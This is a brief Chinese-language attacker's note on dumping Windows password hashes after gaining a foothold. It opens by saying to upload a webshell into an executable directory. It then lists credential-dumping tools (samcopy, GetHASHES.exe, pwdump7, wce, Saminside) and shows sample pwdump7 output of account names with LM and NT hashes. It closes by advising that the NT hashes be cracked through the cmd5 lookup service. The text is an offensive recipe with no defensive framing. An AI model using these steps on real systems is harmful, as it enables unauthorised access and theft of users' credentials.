webshell 找能執(zhí)行權(quán)限的目錄上傳

C:\Windows\System32\config\sam 內(nèi)有windows 密碼 利用工具把密碼抓出來

samcopy 直接抓取

GetHASHES.exe $Local 返回當(dāng)前系統(tǒng)所有的用戶的哈希

pwdump7.exe 自動(dòng)抓取哈希 都是用cmd 執(zhí)行 來賓和system 一般都沒有密碼

wce.exe 自動(dòng)抓哈希

Saminside 字典破解

破解sam密碼 

我一般用pwdump7 執(zhí)行后返回

Administrator:500:7B59ACC609CD473AF50785CA52198E4D:92748A4523592194AF8963A1949FCA0B:::

Guest:501:64C3E77603C7A3BF5A5E17C210A88A96:30CFBECB0A6FD6BADBAB21A275788798:::

:503:4F07A12B796A954B583F6D0501D59953:A0D5FADC55DA895E937A93ED39669D76:::

:504:9D8835529B6E728C4CEE482ECCDDD9CE:0A51EEE494AB8F940DB69BC2FCA4E648:::

test:1001:F5942A1378FEC39E6ACBF03ADAEE3EB1:8DFE55D2D16AA9E2DA4F44412E897201:::

密碼格式為

nt-hash 直接丟到cmd5里解密 可以得到密碼